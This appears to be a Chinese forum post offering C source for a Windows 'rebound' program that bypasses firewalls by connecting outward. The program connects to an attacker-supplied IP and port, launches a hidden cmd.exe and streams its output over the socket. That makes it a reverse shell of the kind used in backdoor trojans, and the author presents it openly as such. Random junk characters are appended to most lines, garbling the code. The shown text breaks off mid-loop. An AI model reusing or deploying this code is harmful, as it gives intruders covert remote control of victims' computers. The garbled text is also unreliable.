这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mfz"M)1p1
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/* ============================== @H6%G>K,
Rebound port in Windows NT !L/tLHk+
By wind,2006/7 >I|<^$/
===============================*/ @??u})^EL
#include i:{:xKiC a
#include \Me"'.F?
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#pragma comment(lib,"wsock32.lib") HMhLTl{;
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void OutputShell(); *0lt$F$~b
SOCKET sClient; t={po QC~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g4i #1V=
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void main(int argc,char **argv) F~%|3a$Y
{ T:Bzz)2/
WSADATA stWsaData; \6Xn]S
int nRet; RZ<.\N
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SOCKADDR_IN stSaiClient,stSaiServer; sFCf\y
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if(argc != 3) b#e]1Q
{ 4bE42c=Ca7
printf("Useage:\n\rRebound DestIP DestPort\n"); <Nvlk\LQ
return; a$A2IkD
} [1e.i
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WSAStartup(MAKEWORD(2,2),&stWsaData); /\nJ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g~eJ
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); K6ciqwUO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \MF3CK@/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X #&(~1O
{ ux%&lff
printf("Bind Socket Failed!\n"); eog\pMv
return; Fka1]|j9
} jQO*oq}
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stSaiServer.sin_family = AF_INET; \dC.%#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &~z+ R="=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L00Sp#$\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <WO&$&
{ )-MA!\=<
printf("Connect Error!"); !IfI-Q
return; 9yO{JgKA
} ?T tQZ
OutputShell(); Iq^~
} Q@PJ)fwN
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void OutputShell() 0*/mc9 6
{ 5cPSv?x^F@
char szBuff[1024]; XYz,NpK
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; d;;>4}XJ]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aS c#&{
STARTUPINFO stStartupInfo; n$XMsl.>
char *szShell; 7}. #Z
PROCESS_INFORMATION stProcessInformation; @m*&c* r
unsigned long lBytesRead; )pkhir06t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Km|9Too
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AAIyr703cQ
stSecurityAttributes.lpSecurityDescriptor = 0; $O;N/N:m
stSecurityAttributes.bInheritHandle = TRUE; 6i*ArGA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B:R7[G;1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wgSR*d>y*9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f;@b
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w>H%[\Qs
stStartupInfo.wShowWindow = SW_HIDE; =)"NE>
stStartupInfo.hStdInput = hReadPipe; |r)>bY7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -s?dzX
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GetVersionEx(&stOsversionInfo); pq/FLYiv
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switch(stOsversionInfo.dwPlatformId) F^ %{
;
{ ?3B t;<^
case 1: f)u*Q!BDD
szShell = "command.com"; e')&ODQ H
break; W<cW;mO
default: X:xC>4]gG'
szShell = "cmd.exe"; fl5UY$a2-
break; _D7HQ
} teQaHe#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hy!'Q>[`
q N[\J7Pz9
send(sClient,szMsg,77,0); 6N)<
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while(1) &kXGWp
{ s= GOB"G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M&}oat*
if(lBytesRead) Z;"4$@|qE
{ MQbNWUi
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eaYkYuS/
send(sClient,szBuff,lBytesRead,0); R&x7